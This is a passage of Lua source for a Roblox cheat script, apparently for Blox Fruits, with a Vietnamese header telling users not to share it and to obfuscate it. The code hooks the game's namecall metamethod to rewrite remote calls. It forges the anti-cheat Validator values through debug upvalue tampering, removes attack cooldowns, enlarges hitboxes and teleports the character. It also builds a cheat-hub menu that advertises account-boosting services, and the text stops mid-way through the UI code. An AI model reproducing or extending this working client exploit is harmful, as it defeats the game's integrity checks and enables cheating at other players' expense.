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[+] Rosie Team Cảm Ơn Bạn Đã Tin Tưởng Và Sử Dụng Dịch Vụ Của Chúng Tôi, Nếu Thấy Hữu Ít Hãy Chia Sẻ Cho Bạn Bè Của Bạn !!

[+] Không Được Share Hay Crack Mã Nguồn Này Cho Ai! Nếu Không Bạn Sẽ Bị Ban IP Khỏi Website Vĩnh Viễn!

[+] Chúng Tôi Không Nhận Hỗ Trợ Những Mã Nguồn Miễn Phí, Xin Đừng Bảo Vì Sao. Tạo Ticket Hỗ Trợ Của Website Tại: https://rosieteam.net/dash/ticket

[+] Nếu Bạn Edit Source Và Up Web Share Nhớ Obfuscate Script. Nếu Bạn Có Tiền Thì Sử Dụng: Lura.Ph, Luarmor.Net | Nếu Bạn Không Có Tiền Thì Dùng: luaobfuscate.com, MoonSec, 77Fuscate,... Nhé!

]]

function Attack1Function()

local ac = CombatFrameworkR.activeController

if ac and ac.equipped then

for indexincrement = 1, 1 do

local bladehit = getAllBladeHits(1)

if #bladehit > 0 then

local AcAttack8 = debug.getupvalue(ac.attack, 5)

local AcAttack9 = debug.getupvalue(ac.attack, 6)

local AcAttack7 = debug.getupvalue(ac.attack, 4)

local AcAttack10 = debug.getupvalue(ac.attack, 7)

local NumberAc12 = (AcAttack8 \* 798405 + AcAttack7 \* 727595) % AcAttack9

local NumberAc13 = AcAttack7 \* 798405

(function()

NumberAc12 = (NumberAc12 \* AcAttack9 + NumberAc13) % 1099511627776

AcAttack8 = math.floor(NumberAc12 / AcAttack9)

AcAttack7 = NumberAc12 - AcAttack8 \* AcAttack9

end)()

AcAttack10 = AcAttack10 + 1

debug.setupvalue(ac.attack, 5, AcAttack8)

debug.setupvalue(ac.attack, 6, AcAttack9)

debug.setupvalue(ac.attack, 4, AcAttack7)

debug.setupvalue(ac.attack, 7, AcAttack10)

for k, v in pairs(ac.animator.anims.basic) do

v:Play(0.01,0.01,0.01)

end

if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") and ac.blades and ac.blades[1] then

game:GetService("ReplicatedStorage").RigControllerEvent:FireServer("weaponChange",tostring(CurrentWeapon()))

game.ReplicatedStorage.Remotes.Validator:FireServer(math.floor(NumberAc12 / 1099511627776 \* 16777215), AcAttack10)

game:GetService("ReplicatedStorage").RigControllerEvent:FireServer("hit", bladehit, indexincrement, "")

end

end

end

end

end

function TPchest(P1)

local Distance = (P1.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude

if Distance >= 0 then

Speed = 1200000

end

local tween = game:GetService("TweenService"):Create(game.Players.LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(Distance/Speed), {CFrame = P1 }) tween:Play()

end

spawn(function()

local gg = getrawmetatable(game)

local old = gg.\_\_namecall

setreadonly(gg,false)

gg.\_\_namecall = newcclosure(function(...)

local method = getnamecallmethod()

local args = {

...

}

if tostring(method) == "FireServer" then

if tostring(args[1]) == "RemoteEvent" then

if tostring(args[2]) ~= "true" and tostring(args[2]) ~= "false" then

if \_G.UseSkill then

if type(args[2]) == "vector" then

args[2] = PositionSkillMasteryDevilFruit

else

args[2] = CFrame.new(PositionSkillMasteryDevilFruit)

end

return old(unpack(args))

end

end

end

end

--return args

return old(...)

end)

end)

--// Fast Attack

local AttackList = {"Slow", "Normal", "Pro"}

\_G.FastAttackDelay = "Normal"

AttackList = true

spawn(function()

while wait(.1) do

if \_G.FastAttackDelay then

pcall(function()

if \_G.FastAttackDelay == "Slow" then

\_G.FastAttackDelay = 0.2

elseif \_G.FastAttackDelay == "Default" then

\_G.FastAttackDelay = 0.5

elseif \_G.FastAttackDelay == "Normal" then

\_G.FastAttackDelay = 0.2

elseif \_G.FastAttackDelay == "Pro" then

\_G.FastAttackDelay = 0

end

end)

end

end

end)

spawn(function()

while true do

if \_G.FastAttack then

pcall(function()

CameraShakerR:Stop()

CombatFramework.activeController.attacking = false

CombatFramework.activeController.timeToNextAttack = 0

CombatFramework.activeController.increment = 3

CombatFramework.activeController.hitboxMagnitude = 100

CombatFramework.activeController.blocking = false

CombatFramework.activeController.timeToNextBlock = 0

CombatFramework.activeController.focusStart = 0

CombatFramework.activeController.humanoid.AutoRotate = true

end)

end

task.wait()

end

end)

--// Module

function GetBladeHit()

local CombatFrameworkLib = debug.getupvalues(require(game:GetService("Players").LocalPlayer.PlayerScripts.CombatFramework))

local CmrFwLib = CombatFrameworkLib[2]

local p13 = CmrFwLib.activeController

local weapon = p13.blades[1]

if not weapon then

return weapon

end

while weapon.Parent ~= game.Players.LocalPlayer.Character do

weapon = weapon.Parent

end

return weapon

end

function AttackHit()

local CombatFrameworkLib = debug.getupvalues(require(game:GetService("Players").LocalPlayer.PlayerScripts.CombatFramework))

local CmrFwLib = CombatFrameworkLib[2]

local plr = game.Players.LocalPlayer

for i = 1, 1 do

local bladehit = require(game.ReplicatedStorage.CombatFramework.RigLib).getBladeHits(plr.Character,{plr.Character.HumanoidRootPart},60)

local cac = {}

local hash = {}

for k, v in pairs(bladehit) do

if v.Parent:FindFirstChild("HumanoidRootPart") and not hash[v.Parent] then

table.insert(cac, v.Parent.HumanoidRootPart)

hash[v.Parent] = true

end

end

bladehit = cac

if #bladehit > 0 then

pcall(function()

CmrFwLib.activeController.timeToNextAttack = 1

CmrFwLib.activeController.attacking = false

CmrFwLib.activeController.blocking = false

CmrFwLib.activeController.timeToNextBlock = 0

CmrFwLib.activeController.increment = 3

CmrFwLib.activeController.hitboxMagnitude = 100

CmrFwLib.activeController.focusStart = 0

game:GetService("ReplicatedStorage").RigControllerEvent:FireServer("weaponChange",tostring(GetBladeHit()))

game:GetService("ReplicatedStorage").RigControllerEvent:FireServer("hit", bladehit, i, "")

end)

end

end

end

spawn(function()

while wait(.1) do

if \_G.FastAttack then

pcall(function()

repeat task.wait(\_G.FastAttackDelay)

AttackHit()

until not \_G.FastAttack

end)

end

end

end)

-- Instances:v

local ScreenGui = Instance.new("ScreenGui")

local ImageButton = Instance.new("ImageButton")

local UICorner = Instance.new("UICorner")

local UIGradient = Instance.new("UIGradient")

local UIAspectRatioConstraint = Instance.new("UIAspectRatioConstraint")

--Properties:

ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")

ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

ImageButton.Parent = ScreenGui

ImageButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

ImageButton.Position = UDim2.new(0.10615778, 0, 0.16217947, 0)

ImageButton.Size = UDim2.new(0.0627121851, 0, 0.107579626, 0)

ImageButton.Image = "rbxassetid://11816162894"

UICorner.CornerRadius = UDim.new(0, 30)

UICorner.Parent = ImageButton

UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(119, 255, 214)), ColorSequenceKeypoint.new(0.32, Color3.fromRGB(146, 255, 251)), ColorSequenceKeypoint.new(0.65, Color3.fromRGB(180, 255, 255)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(96, 255, 231))}

UIGradient.Parent = ImageButton

UIAspectRatioConstraint.Parent = ImageButton

UIAspectRatioConstraint.AspectRatio = 0.988

-- Scripts:

local function HCEGY\_fake\_script() -- UIGradient.LocalScript

local script = Instance.new('LocalScript', UIGradient)

local TweenService = game:GetService("TweenService")

local tweeninfo = TweenInfo.new(4, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1)

local tween = TweenService:Create(script.Parent, tweeninfo, {Rotation = 360})

tween:Play()

end

coroutine.wrap(HCEGY\_fake\_script)()

local function YTZCAJC\_fake\_script() -- ImageButton.LocalScript

local script = Instance.new('LocalScript', ImageButton)

local UIS = game:GetService('UserInputService')

local frame = script.Parent

local dragToggle = nil

local dragSpeed = 0.25

local dragStart = nil

local startPos = nil

local function updateInput(input)

local delta = input.Position - dragStart

local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,

startPos.Y.Scale, startPos.Y.Offset + delta.Y)

game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()

end

frame.InputBegan:Connect(function(input)

if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then

dragToggle = true

dragStart = input.Position

startPos = frame.Position

input.Changed:Connect(function()

if input.UserInputState == Enum.UserInputState.End then

dragToggle = false

end

end)

end

end)

UIS.InputChanged:Connect(function(input)

if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then

if dragToggle then

updateInput(input)

end

end

end)

script.Parent.MouseButton1Click:Connect(function()

game:GetService("VirtualInputManager"):SendKeyEvent(true,Enum.KeyCode.RightControl,false,game)

end)

end

coroutine.wrap(YTZCAJC\_fake\_script)()

repeat wait() until game.Players

repeat wait() until game.Players.LocalPlayer

repeat wait() until game.ReplicatedStorage

repeat wait() until game.ReplicatedStorage:FindFirstChild("Remotes");

repeat wait() until game.Players.LocalPlayer:FindFirstChild("PlayerGui");

repeat wait() until game.Players.LocalPlayer.PlayerGui:FindFirstChild("Main");

repeat wait() until game:GetService("Players")

repeat wait() until game:GetService("Players").LocalPlayer.Character:FindFirstChild("Energy")

wait(1)

if not game:IsLoaded() then repeat game.Loaded:Wait() until game:IsLoaded() end

if game:GetService("Players").LocalPlayer.PlayerGui.Main:FindFirstChild("ChooseTeam") then

repeat wait()

if game:GetService("Players").LocalPlayer.PlayerGui:WaitForChild("Main").ChooseTeam.Visible == true then

if \_G.Team == "Pirate" then

for i, v in pairs(getconnections(game:GetService("Players").LocalPlayer.PlayerGui.Main.ChooseTeam.Container.Pirates.Frame.ViewportFrame.TextButton.Activated)) do

v.Function()

end

elseif \_G.Team == "Marine" then

for i, v in pairs(getconnections(game:GetService("Players").LocalPlayer.PlayerGui.Main.ChooseTeam.Container.Marines.Frame.ViewportFrame.TextButton.Activated)) do

v.Function()

end

else

for i, v in pairs(getconnections(game:GetService("Players").LocalPlayer.PlayerGui.Main.ChooseTeam.Container.Pirates.Frame.ViewportFrame.TextButton.Activated)) do

v.Function()

end

end

end

until game.Players.LocalPlayer.Team ~= nil and game:IsLoaded()

end

function two(gotoCFrame) --- Tween

pcall(function()

game.Players.LocalPlayer.Character.Humanoid.Sit = false

game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false

end)

if (game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart.Position - gotoCFrame.Position).Magnitude <= 200 then

pcall(function()

tweenz:Cancel()

end)

game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart.CFrame = gotoCFrame

else

local tween\_s = game:service"TweenService"

local info = TweenInfo.new((game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart.Position - gotoCFrame.Position).Magnitude/325, Enum.EasingStyle.Linear)

tween, err = pcall(function()

tweenz = tween\_s:Create(game.Players.LocalPlayer.Character["HumanoidRootPart"], info, {CFrame = gotoCFrame})

tweenz:Play()

end)

if not tween then return err end

end

function \_TweenCanCle()

tweenz:Cancel()

end

end

local DiscordLib = {}

local TweenService = game:GetService("TweenService")

local Balaraja = Instance.new("ScreenGui")

Balaraja.Name = "Balaraja"

Balaraja.Parent = game.CoreGui

Balaraja.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

local NotiFrame = Instance.new("Frame")

NotiFrame.Name = "NotiFrame"

NotiFrame.Parent = Balaraja

NotiFrame.AnchorPoint = Vector2.new(0.5, 0.5)

NotiFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

NotiFrame.BackgroundTransparency = 1

NotiFrame.Position = UDim2.new(1.2, 0, 0.0613496937, 0)

NotiFrame.Size = UDim2.new(0, 1632, 0 , 100)

local Notilistlayout = Instance.new("UIListLayout")

Notilistlayout.Name = "Notilistlayout"

Notilistlayout.Parent = NotiFrame

Notilistlayout.FillDirection = Enum.FillDirection.Vertical

Notilistlayout.SortOrder = Enum.SortOrder.LayoutOrder

Notilistlayout.Padding = UDim.new(0, 5)

function DiscordLib:Notification(text,text2,delays,logo)

if logo == nil then

logo = ""

end

if delays == nil then

delays = 1

end

local TitleFrame = Instance.new("Frame")

TitleFrame.Name = "TitleFrame"

TitleFrame.Parent = NotiFrame

TitleFrame.BackgroundColor3 = Color3.fromRGB(35,35,35)

TitleFrame.Size = UDim2.new(0, 0, 0, 0)

local Main\_UiStroke = Instance.new("UIStroke")

Main\_UiStroke.Thickness = 1

Main\_UiStroke.Name = ""

Main\_UiStroke.Parent = TitleFrame

Main\_UiStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border

Main\_UiStroke.LineJoinMode = Enum.LineJoinMode.Round

Main\_UiStroke.Color = Color3.fromRGB(255, 255, 255)

Main\_UiStroke.Transparency = 0

TitleFrame:TweenSizeAndPosition(UDim2.new(0, 250-10, 0, 70), UDim2.new(0.5, 0, 0.5,0), "Out", "Back", 0.3, true)

local ConnerTitile = Instance.new("UICorner")

ConnerTitile.CornerRadius = UDim.new(0, 4)

ConnerTitile.Name = "ConnerTitile"

ConnerTitile.Parent = TitleFrame

local imagenoti = Instance.new("ImageLabel")

imagenoti.Name = "imagenoti"

imagenoti.Parent = TitleFrame

imagenoti.AnchorPoint = Vector2.new(0.5, 0.5)

imagenoti.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

imagenoti.Position = UDim2.new(0.135999978, 0, 0.5, 0)

imagenoti.Size = UDim2.new(0, 50, 0, 50)

imagenoti.BackgroundTransparency = 1

imagenoti.Image = "http://www.roblox.com/asset/?id="16405243730..tostring(logo)

local txdlid = Instance.new("TextLabel")

local LableFrame = Instance.new("Frame")

txdlid.Name = "txdlid"

txdlid.Parent = TitleFrame

txdlid.BackgroundColor3 = Color3.fromRGB(85, 170, 255)

txdlid.BackgroundTransparency = 1.000

txdlid.Position = UDim2.new(0.25, 0, 0.15, 0)

txdlid.Size = UDim2.new(0, 175, 0, 24)

txdlid.Font = Enum.Font.LuckiestGuy

txdlid.TextColor3 = Color3.fromRGB(85, 170, 255)

txdlid.TextSize = 13.000

txdlid.Text = text

txdlid.TextXAlignment = Enum.TextXAlignment.Left

LableFrame.Name = "LableFrame"

LableFrame.Parent = TitleFrame

LableFrame.AnchorPoint = Vector2.new(0.5, 0.5)

LableFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

LableFrame.BackgroundTransparency = 1.000

LableFrame.Position = UDim2.new(0.625999987, 0, 0.620000005, 0)

LableFrame.Size = UDim2.new(0, 175, 0, 25)

local TextNoti = Instance.new("TextLabel")

TextNoti.Name = "TextNoti"

TextNoti.Parent = LableFrame

TextNoti.Active = true

TextNoti.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

TextNoti.BackgroundTransparency = 1.000

TextNoti.Size = UDim2.new(0, 175, 0, 25)

TextNoti.Font = Enum.Font.GothamBlack

TextNoti.Text = text2

TextNoti.TextScaled = true

TextNoti.TextColor3 = Color3.fromRGB(255, 255, 255)

TextNoti.TextSize = 12.000

TextNoti.TextXAlignment = Enum.TextXAlignment.Left

repeat wait() until TitleFrame.Size == UDim2.new(0, 250-10, 0, 70)

local Time = Instance.new("Frame")

local UICorner = Instance.new("UICorner")

local UIPadding = Instance.new("UIPadding")

Time.Name = "Time"

Time.Parent = TitleFrame

Time.Active = true

Time.BackgroundColor3 = Color3.fromRGB(85, 170, 255)

Time.BorderSizePixel = 0

Time.Position = UDim2.new(0.0320000015, 0, 0.870000005, 0)

Time.Size = UDim2.new(0, 236, 0, 3)

UICorner.Parent = Time

UICorner.CornerRadius = UDim.new(0, 7)

UICorner.Name = ""

UIPadding.Parent = NotiFrame

UIPadding.PaddingLeft = UDim.new(0, 15)

UIPadding.PaddingTop = UDim.new(0, 15)

TweenService:Create(

Time,

TweenInfo.new(tonumber(delays), Enum.EasingStyle.Linear, Enum.EasingDirection.InOut),

{Size = UDim2.new(0, 0, 0, 3)} -- UDim2.new(0, 128, 0, 25)

):Play()

delay(tonumber(delays),function()

TweenService:Create(

imagenoti,

TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),

{ImageTransparency = 1} -- UDim2.new(0, 128, 0, 25)

):Play()

TweenService:Create(

TextNoti,

TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),

{TextTransparency = 1} -- UDim2.new(0, 128, 0, 25)

):Play()

TweenService:Create(

txdlid,

TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),

{TextTransparency = 1} -- UDim2.new(0, 128, 0, 25)

):Play()

wait(0.3)

TweenService:Create(

TitleFrame,

TweenInfo.new(0.4, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut),

{Size = UDim2.new(0, 0, 0, 70)} -- UDim2.new(0, 128, 0, 25)

):Play()

wait(0.3)

TitleFrame:Destroy()

end

)

end

DiscordLib:Notification("Thông Báo" , "Nhận Cày Thuê Bán Acc v4 Ae Nào Cần IB" , 6 ,11816162894 )

DiscordLib:Notification("Thông Báo" , "Link Facebook Ở Phần Setting" , 6 ,11816162894 )

local UserInputService = game:GetService("UserInputService")

local TweenService = game:GetService("TweenService")

local function MakeDraggable(topbarobject, object)

local Dragging = nil

local DragInput = nil

local DragStart = nil

local StartPosition = nil

local function Update(input)

local Delta = input.Position - DragStart

local pos = UDim2.new(StartPosition.X.Scale, StartPosition.X.Offset + Delta.X, StartPosition.Y.Scale, StartPosition.Y.Offset + Delta.Y)

local Tween = TweenService:Create(object, TweenInfo.new(0.15), {

Position = pos

})

Tween:Play()

end

topbarobject.InputBegan:Connect(

function(input)

if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then

Dragging = true

DragStart = input.Position

StartPosition = object.Position

input.Changed:Connect(

function()

if input.UserInputState == Enum.UserInputState.End then

Dragging = false

end

end

)

end

end

)

topbarobject.InputChanged:Connect(

function(input)

if

input.UserInputType == Enum.UserInputType.MouseMovement or

input.UserInputType == Enum.UserInputType.Touch

then

DragInput = input

end

end

)

UserInputService.InputChanged:Connect(

function(input)

if input == DragInput and Dragging then

Update(input)

end

end

)

end

\_G.BGColor\_1 = Color3.fromRGB(30,30,30)

\_G.BGColor\_2 = Color3.fromRGB(20, 20, 20)

\_G.Color = Color3.fromRGB(255, 49, 52)

\_G.WindowBackgroundColor = Color3.fromRGB(12,12,12)

\_G.BackgroundItemColor = Color3.fromRGB(20, 20, 20)

\_G.TabWindowColor = Color3.fromRGB(30, 30, 30)

\_G.ContainerColor = Color3.fromRGB(30, 30, 30)

\_G.TitleTextColor = Color3.fromRGB(150, 150, 150)

\_G.ImageColor = Color3.fromRGB(150, 150, 150)

\_G.LineThemeColor = Color3.fromRGB(150, 150, 150)

\_G.TabTextColor = Color3.fromRGB(150, 150, 150)

\_G.TabImageColor = Color3.fromRGB(150, 150, 150)

\_G.TabThemeColor = Color3.fromRGB(250, 0, 0)

\_G.SectionColor = Color3.fromRGB(150, 150, 150)

\_G.SectionImageColor = Color3.fromRGB(150, 150, 150)

\_G.SectionTextColor = Color3.fromRGB(150, 150, 150)

\_G.SectionOn = Color3.fromRGB(0, 250, 0)

local Update = {}

local DiscordLib = {}

local TweenService = game:GetService("TweenService")

local Balaraja = Instance.new("ScreenGui")

Balaraja.Name = "Balaraja"

Balaraja.Parent = game.CoreGui

Balaraja.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

local NotiFrame = Instance.new("Frame")

NotiFrame.Name = "NotiFrame"

NotiFrame.Parent = Balaraja

NotiFrame.AnchorPoint = Vector2.new(0.5, 0.5)

NotiFrame.BackgroundColor3 = Color3.fromRGB(35,35,35)

NotiFrame.BorderSizePixel = 0

NotiFrame.Position = UDim2.new(1, -210, 1, 100)

NotiFrame.Size = UDim2.new(0, 400, 0, 500)

NotiFrame.ClipsDescendants = true

NotiFrame.BackgroundTransparency = 1

local Notilistlayout = Instance.new("UIListLayout")

Notilistlayout.Parent = NotiFrame

Notilistlayout.SortOrder = Enum.SortOrder.LayoutOrder

Notilistlayout.Padding = UDim.new(0, 5)

function DiscordLib:Notification(titel,text,delays)

local TitleFrame = Instance.new("Frame")

TitleFrame.Name = "TitleFrame"

TitleFrame.Parent = NotiFrame

TitleFrame.AnchorPoint = Vector2.new(0.5, 0.5)

TitleFrame.BackgroundColor3 = Color3.fromRGB(35,35,35)

TitleFrame.BorderSizePixel = 0

TitleFrame.Position = UDim2.new(0.5, 0, 0.5,0)

TitleFrame.Size = UDim2.new(0, 0, 0, 0)

TitleFrame.ClipsDescendants = true

TitleFrame.BackgroundTransparency = 0

local ConnerTitile = Instance.new("UICorner")

ConnerTitile.CornerRadius = UDim.new(0, 4)

ConnerTitile.Name = ""

ConnerTitile.Parent = TitleFrame

TitleFrame:TweenSizeAndPosition(UDim2.new(0, 400-10, 0, 70), UDim2.new(0.5, 0, 0.5,0), "Out", "Quad", 0.3, true)

local imagenoti = Instance.new("ImageLabel")

imagenoti.Parent = TitleFrame

imagenoti.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

imagenoti.BackgroundTransparency = 1.000

imagenoti.AnchorPoint = Vector2.new(0.5, 0.5)

imagenoti.Position = UDim2.new(0.9, 0, 0.5, 0)

imagenoti.Size = UDim2.new(0, 90, 0, 90)

imagenoti.Image = "rbxassetid://"

local txdlid = Instance.new("TextLabel")

txdlid.Parent = TitleFrame

txdlid.Name = "TextLabel\_Tap"

txdlid.BackgroundColor3 = Color3.fromRGB(50,50,50)

txdlid.Size =UDim2.new(0, 160, 0,25 )

txdlid.Font = Enum.Font.Code

txdlid.Text = titel

txdlid.TextColor3 = Color3.fromRGB(30,30,30)

txdlid.TextSize = 17.000

txdlid.AnchorPoint = Vector2.new(0.5, 0.5)

txdlid.Position = UDim2.new(0.23, 0, 0.3, 0)

-- txdlid.TextYAlignment = Enum.TextYAlignment.Top

txdlid.TextXAlignment = Enum.TextXAlignment.Left

txdlid.BackgroundTransparency = 1

local LableFrame = Instance.new("Frame")

LableFrame.Name = "LableFrame"

LableFrame.Parent = TitleFrame

LableFrame.AnchorPoint = Vector2.new(0.5, 0.5)

LableFrame.BackgroundColor3 = Color3.fromRGB(50,50,50)

LableFrame.BorderSizePixel = 0

LableFrame.Position = UDim2.new(0.36, 0, 0.67,0)

LableFrame.Size = UDim2.new(0, 260, 0,25 )

LableFrame.ClipsDescendants = true

LableFrame.BackgroundTransparency = 1

local TextNoti = Instance.new("TextLabel")

TextNoti.Parent = LableFrame

TextNoti.Name = "TextLabel\_Tap"

TextNoti.BackgroundColor3 = Color3.fromRGB(30,30,30)

TextNoti.Size =UDim2.new(0, 260, 0,25 )

TextNoti.Font = Enum.Font.Code

TextNoti.Text = text

TextNoti.TextColor3 = Color3.fromRGB(255,255,255)

TextNoti.TextSize = 15.000

TextNoti.AnchorPoint = Vector2.new(0.5, 0.5)

TextNoti.Position = UDim2.new(0.5, 0, 0.5, 0)

-- TextNoti.TextYAlignment = Enum.TextYAlignment.Top

TextNoti.TextXAlignment = Enum.TextXAlignment.Left

TextNoti.BackgroundTransparency = 1

repeat wait() until TitleFrame.Size == UDim2.new(0, 400-10, 0, 70)

local Time = Instance.new("Frame")

Time.Name = "Time"

Time.Parent = TitleFrame

--Time.AnchorPoint = Vector2.new(0.5, 0.5)

Time.BackgroundColor3 = Color3.fromRGB(255,255,255)

Time.BorderSizePixel = 0

Time.Position = UDim2.new(0, 0, 0.,0)

Time.Size = UDim2.new(0, 0,0,0)

Time.ClipsDescendants = false

Time.BackgroundTransparency = 0

local ConnerTitile\_Time = Instance.new("UICorner")

ConnerTitile\_Time.CornerRadius = UDim.new(0, 4)

ConnerTitile\_Time.Name = ""

ConnerTitile\_Time.Parent = Time

Time:TweenSizeAndPosition(UDim2.new(0, 400-10, 0, 3), UDim2.new(0., 0, 0.,0), "Out", "Quad", 0.3, true)

repeat wait() until Time.Size == UDim2.new(0, 400-10, 0, 3)

TweenService:Create(

Time,

TweenInfo.new(tonumber(delays), Enum.EasingStyle.Linear, Enum.EasingDirection.InOut),

{Size = UDim2.new(0, 0, 0, 3)} -- UDim2.new(0, 128, 0, 25)

):Play()

delay(tonumber(delays),function()

TweenService:Create(

TitleFrame,

TweenInfo.new(0.4, Enum.EasingStyle.Back, Enum.EasingDirection.InOut),

{Size = UDim2.new(0, 0, 0, 0)} -- UDim2.new(0, 128, 0, 25)

):Play()

wait(0.3)

TitleFrame:Destroy()

end

)

end

do local ui = game:GetService("CoreGui").RobloxGui.Modules:FindFirstChild("ZENHUB") if ui then ui:Destroy() end end

function Update:Window(text,logo,keybind)

local osfunc = {}

local uihide = false

local abc = false

local logo = logo or 11340301587

local currentpage = ""

local keybind = keybind or Enum.KeyCode.RightControl

local yoo = string.gsub(tostring(keybind),"Enum.KeyCode.","")

local ZENHUB = Instance.new("ScreenGui")

ZENHUB.Name = "ZENHUB"

ZENHUB.Parent = game.CoreGui

ZENHUB.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

local Main = Instance.new("Frame")

Main.Name = "Main"

Main.Parent = ZENHUB

Main.ClipsDescendants = true

Main.AnchorPoint = Vector2.new(0.5,0.5)

Main.BackgroundColor3 = Color3.fromRGB(24, 24, 24)

Main.Position = UDim2.new(0.5, 0, 0.5, 0)

Main.Size = UDim2.new(0, 0, 0, 0)

--Main:TweenSize(UDim2.new(0, 656, 0, 400),"Out","Quad",0.4,true)

--Main:TweenSize(UDim2.new(0, 656, 0, 300),"Out","Quad",0.4,true)

Main:TweenSize(UDim2.new(0, 480, 0, 280),"Out","Quad",0.4,true)

local MCNR = Instance.new("UICorner")

MCNR.Name = "MCNR"

MCNR.Parent = Main

local Top = Instance.new("Frame")

Top.Name = "Top"

Top.Parent = Main

Top.BackgroundColor3 = Color3.fromRGB(35, 35, 35)

--Top.Size = UDim2.new(0, 656, 0, 27)

Top.Size = UDim2.new(0, 480, 0, 27)

local TCNR = Instance.new("UICorner")

TCNR.Name = "TCNR"

TCNR.Parent = Top

local Logo = Instance.new("ImageLabel")

Logo.Name = "Logo"

Logo.Parent = Top

Logo.BackgroundColor3 = Color3.fromRGB(224,224,224)

Logo.BackgroundTransparency = 1.000

Logo.Position = UDim2.new(-0.01, 0,-0.319, 0)

Logo.Size = UDim2.new(0, 55,0, 45)

Logo.Image = "rbxassetid://"..tostring(logo)

local Name = Instance.new("TextLabel")

Name.Name = "Name"

Name.Parent = Top

Name.BackgroundColor3 = Color3.fromRGB(224,224,224)

Name.BackgroundTransparency = 1.000

Name.Position = UDim2.new(0.0909756112, 0, 0, 0)

Name.Size = UDim2.new(0, 61, 0, 27)

Name.Font = Enum.Font.Code

Name.Text = text

Name.TextColor3 = Color3.fromRGB(255, 11, 84)

Name.TextSize = 16.000

local Hub = Instance.new("TextLabel")

Hub.Name = "Hub"

Hub.Parent = Top

Hub.BackgroundColor3 = Color3.fromRGB(224,224,224)

Hub.BackgroundTransparency = 1.000

Hub.Position = UDim2.new(0, 78, 0, 0)

Hub.Size = UDim2.new(0, 81, 0, 27)

Hub.Font = Enum.Font.Code

Hub.Text = "Hub"

Hub.TextColor3 = Color3.fromRGB(255, 47, 172)

Hub.TextSize = 16.000

local MainImage = Instance.new("ImageLabel")

local MainImageFrame = Instance.new("Frame")

-- MainImage.Name = "MainImage"

MainImage.Parent = Main

MainImage.BackgroundColor3 = Color3.fromRGB(224,224,224)

MainImage.BackgroundTransparency = 1.000

MainImage.Position = UDim2.new(0, 25, 0, 25)

MainImage.Size = UDim2.new(0, 100, 0, 170)

MainImage.Image = ""

local Tab = Instance.new("Frame")

Tab.Name = "Tab"

Tab.Parent = Main

Tab.BackgroundColor3 = Color3.fromRGB(35, 35, 35)

Tab.Position = UDim2.new(0, 5, 0, 30)

--Tab.CornerRadius = UDim.new(0,5)

Tab.Size = UDim2.new(0, 0, 0, 0)

--Tab.Size = UDim2.new(0, 150, 0, 365)

--local TabCorner = Instance.new("UICorner")

local TabCorner = Instance.new("UIListLayout")

TabCorner.Name = "TabCorner"

TabCorner.Parent = Tab

TabCorner.SortOrder = Enum.SortOrder.LayoutOrder

TabCorner.Padding = UDim.new(0, 15)

local TCNR = Instance.new("UICorner")

TCNR.Name = "TCNR"

TCNR.Parent = Tab

local ScrollTab = Instance.new("ScrollingFrame")

ScrollTab.Name = "ScrollTab"

ScrollTab.Parent = Tab

ScrollTab.Active = true

ScrollTab.BackgroundColor3 = Color3.fromRGB(224,224,224)

ScrollTab.BackgroundTransparency = 1.000

ScrollTab.Size = UDim2.new(0, 133, 0, 250)

ScrollTab.CanvasSize = UDim2.new(0, 0, 0, 0)

ScrollTab.ScrollBarThickness = 0

local PLL = Instance.new("UIListLayout")

PLL.Name = "PLL"

PLL.Parent = ScrollTab

PLL.SortOrder = Enum.SortOrder.LayoutOrder

PLL.Padding = UDim.new(0, 15)

local PPD = Instance.new("UIPadding")

PPD.Name = "PPD"

PPD.Parent = ScrollTab

PPD.PaddingLeft = UDim.new(0, 10)

PPD.PaddingTop = UDim.new(0, 10)

local Page = Instance.new("Frame")

Page.Name = "Page"

Page.Parent = Main

Page.BackgroundColor3 = Color3.fromRGB(30,30,30)

Page.Position = UDim2.new(0.295726834, 0, 0.144050003, 0)

Page.Size = UDim2.new(0, 330, 0, 280)

local PCNR = Instance.new("UICorner")

PCNR.Name = "PCNR"

PCNR.Parent = Page

local MainPage = Instance.new("Frame")

MainPage.Name = "MainPage"

MainPage.Parent = Page

MainPage.ClipsDescendants = true

MainPage.BackgroundColor3 = Color3.fromRGB(224,224,224)

MainPage.BackgroundTransparency = 1.000

MainPage.Size = UDim2.new(0, 325, 0, 316)

local PageList = Instance.new("Folder")

PageList.Name = "PageList"

PageList.Parent = MainPage

local UIPageLayout = Instance.new("UIPageLayout")

UIPageLayout.Parent = PageList

UIPageLayout.SortOrder = Enum.SortOrder.LayoutOrder

UIPageLayout.EasingDirection = Enum.EasingDirection.InOut
